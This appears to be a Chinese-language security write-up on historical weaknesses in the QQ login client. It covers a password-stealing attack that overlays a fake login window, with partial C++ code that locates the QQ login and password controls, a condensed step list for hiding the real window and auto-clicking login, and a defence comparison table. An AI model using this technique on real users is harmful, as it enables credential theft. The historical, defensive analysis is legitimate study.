⚠ 嚴正聲明: 本文僅供安全研究與防禦教育目的,分析 QQ 登入機制的歷史弱點與社交工程學攻擊手法。嚴禁用於非法竊取帳號、釣魚攻擊或任何侵犯用戶隱私的行為。 違者自負法律責任。
早期 QQ 版本(約 2000 年代)存在密碼輸入框防護不足、自動登入資料儲存機制脆弱等問題。本文復盤歷史技術細節,幫助開發者理解輸入保護、視窗偽裝、資料檔案保護等防禦要點。
WM_GETTEXT/GetWindowText 直接讀取,但未防禦視窗層級的偽裝攻擊。WM_SETTEXT 寫回真實視窗 → 模擬點擊登入按鈕。| 檔案 | 功能 | 風險 |
|---|---|---|
AutoLogin.dat | 儲存自動登入帳號加密資料 | 刪除後強制使用者手動輸入,暴露登入視窗 |
LoginUinList.dat | 儲存下拉選單歷史帳號列表 | 配合刪除可清除痕跡,誘導使用者以為需重新輸入 |
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe)) return FALSE;
while (Process32Next(hSnapshot, &pe)) {
if (pe.th32ProcessID == PID) {
strcpy(lpszProcessName, pe.szExeFile);
return TRUE;
}
}
return FALSE;
}
void QQFind() {
HWND g_hWnd = GetForegroundWindow();
DWORD QQPID;
GetWindowThreadProcessId(g_hWnd, &QQPID);
char sTitle[255];
CString ss;
processIdToName(sTitle, QQPID);
ss = sTitle; ss.MakeLower();
if (ss != "qq.exe") return; // 非 QQ 進程
SendMessage(g_hWnd, WM_GETTEXT, 255, (LPARAM)sTitle);
ss = sTitle;
if (ss.Find("QQ") >= 0 || ss.Find("登錄") >= 0) {
// 定位登入按鈕、取消按鈕、帳號輸入框、密碼輸入框
HWND ButtonLogin = FindWindowEx(g_hWnd, NULL, "Button", "登錄");
HWND ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
HWND hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
HWND qqPass_hWnd = FindWindowEx(hWnd1, NULL, "Edit", NULL);
HWND qqID_hWnd = FindWindowEx(FindWindowEx(g_hWnd, NULL, "ComboBox", NULL), NULL, "Edit", NULL);
// 取得各元素視窗矩形座標 GetWindowRect(...)
}
}
Sleep(100)CopyScreenToBitmapShowWindow(g_hWnd, SW_HIDE)DialogBoxParam(... IDD_WIN847 ...) 覆蓋全螢幕,背景貼上截圖ShowWindow(g_hWnd, SW_SHOW)WM_SETTEXTSendMessage(ButtonLogin, BM_CLICK, 0, 0)| 歷史弱點 | 現代防禦 (QQ NT / 現代版本) |
|---|---|
| 密碼框允許 WM_SETTEXT 寫入 | 輸入框採用安全輸入法、虛擬鍵盤、記憶體加密,阻擋外部訊息注入 |
| 視窗類別名固定 (#32770, Button, Edit) | 動態隨機化視窗類別、使用 DirectUI/Chromium Embedded Framework 渲染 |
| 自動登入資料檔案明文/弱加密 | 採用 DPAPI、硬體級加密 (TEE/SE)、雲端同步憑證 |
| 無視窗完整性驗證 | 簽名驗證、防偽裝機制、輸入法安全模式 |
早期 QQ 安全事件揭示了「客戶端不可信」的鐵律:任何在使用者端執行的程式碼、視窗、資料都可能被分析、攔截、竄改。現代應用安全架構已轉向「零信任客戶端」——核心驗證邏輯前置至伺服器端,客戶端僅負責安全輸入收集與令牌展示。理解歷史攻擊手法,是構建更安全現代應用的基石。